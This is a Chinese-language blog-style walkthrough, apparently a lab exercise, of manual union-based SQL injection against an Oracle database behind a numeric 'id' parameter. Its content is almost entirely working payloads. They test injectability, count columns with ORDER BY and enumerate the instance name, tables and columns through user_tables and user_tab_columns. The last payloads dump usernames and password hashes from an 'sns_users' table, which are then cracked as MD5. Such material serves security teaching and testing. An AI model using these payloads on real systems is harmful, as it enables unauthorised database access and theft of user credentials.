步骤一:找寻注入sql页面
步骤二:判断注入方式
输入?id=1 and 1=1 --+数据没有报错
输入?id=1 and 1=2 --+数据报错 则为数字型
步骤三:
通过order by来判断字段数
?id=1 order by 2 --+
?id=1 order by 3 --+
得出字段数为2
![](https://i-blog.csdnimg.cn/direct/9807f40956524db791c6a1adae936c05.png)
![](https://i-blog.csdnimg.cn/direct/3f43c02a555949a0939de2426658b7c1.png)
步骤四:获取显错点
?id=1 union select 'null','null' from dual --+
![](https://i-blog.csdnimg.cn/direct/cb74b92d032c476b99d313cac3c51a87.png)
步骤五:查询当前数据库库名
?id=1 union select 'null',(select instance_name from V$INSTANCE) from dual --+
![](https://i-blog.csdnimg.cn/direct/3f492766136948ddb9c59d8dae87dc71.png)
步骤六:查询数据库表名,查询表名⼀般查询admin或者user表
第一个表:?id=-1 union select 'null',(select table_name from user_tables where rownum=1) from dual
![](https://i-blog.csdnimg.cn/direct/2891c0961a244ca390d7278da3c8514b.png)
第二张表?id=-1 union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$') from dual
![](https://i-blog.csdnimg.cn/direct/3e8f6d202f00461f83489c890e0a464e.png)
第三张表?id=-1 union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$' and table_name not in 'LOGMNR_GLOBAL$') from dual
![](https://i-blog.csdnimg.cn/direct/fb4222316b5e4bb8b8cfc099755693fc.png)
步骤七:查询数据库列名
?id=-1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1) from dual
![](https://i-blog.csdnimg.cn/direct/66f53f79508e4182a2761123b8399dc7.png)
步骤⼋:查询数据库数据获取账号密码的字段内容
?id=-1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1
![](https://i-blog.csdnimg.cn/direct/f4b3a75d52104880b26117ae7f4bc2aa.png)
![](https://i-blog.csdnimg.cn/direct/e604c83d0af84f398df4689be32fd4bd.png)
![](https://i-blog.csdnimg.cn/direct/e488812765a04ab3b4d68829d5dc13f4.png)
md5解密得出最后结果
![](https://i-blog.csdnimg.cn/direct/2c1361f827e143bfb29045b235b1d06e.png)
![](https://i-blog.csdnimg.cn/direct/e4f3461eaff34797aabbc76725e7eef1.png)
![](https://i-blog.csdnimg.cn/direct/2f7a04730a9844f787870dce673bd62e.png)